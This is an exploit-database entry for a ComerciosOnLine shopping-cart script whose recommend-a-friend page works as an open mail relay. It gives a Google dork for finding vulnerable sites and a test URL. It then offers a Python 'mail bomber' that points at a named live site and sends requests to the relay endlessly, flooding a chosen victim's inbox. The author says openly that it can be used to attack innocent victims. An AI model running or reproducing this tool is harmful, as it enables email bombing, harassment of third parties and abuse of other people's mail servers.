Comerciosonline Spam Mail Relay

# Exploit Title: Comerciosonline Spam Mail Relay
# Google Dork: allintext: " Servicio ofrecido por ComerciosOnLine "
# Date: 23/03/2011
# Author: Daniel Godoy
# Author Mail: DanielGodoy[at]GobiernoFederal[dot]com
# Author Web: www.delincuentedigital.com.ar
# Software Link: http://www.comerciosonline.com/index.php?p=8
# Version: All
# Tested on: Linux, Windows

 
[Comment]
Agradezco a mis amigos: Hernan Jais, Alfonso Cuevas, Lucas Apa
Inyexion, Login-Root, KikoArg, Ricota,Ale Ferrari,TsunamiBoom, _tty0,
Big, Sunplace, Diego Acorinti,YoJota, Pablin77, SPEED, Knet, Cereal,
Yago, Rash, MagnoBalt, El Rodrix, l0ve, NetToxic,
Gusan0r, Maxi Soler,Darioxchx,r0dr1, Harakiri, y en Especial a SIR <3

Tested using the following URL:

http://localhost/b2c/[email protected]&nom=PWNED!!

we can attack innocent victims


[Exploit]
#!/usr/bin/python
# DelincuenteDigital 2011
import urllib
import os
cantidad = 0
os.system('clear')
sitio = "http://www.siagel.net/b2c/pop_recomendar.php?email="
sitio2 = "&nom=PWNED!!"
dong = (raw_input('[!]mail: '))
print " ,-* ,-* ,-* ,-* ,-* ,-* ,-* ,-* ,-*"
print "(_) (_) (_) (_) (_) (_) (_) (_) (_)\n"
print "\n[+]ComercioPlus v.5.6 Mail Bomber Start!\n"
print " ,-* ,-* ,-* ,-* ,-* ,-* ,-* ,-* ,-*"
print "(_) (_) (_) (_) (_) (_) (_) (_) (_)\n"
print "Ctrl + C = Break\n"
var = 1
while var == 1 :
    source = urllib.urlopen(sitio+dong+sitio2).read()



#  0day.today [2018-03-01]  #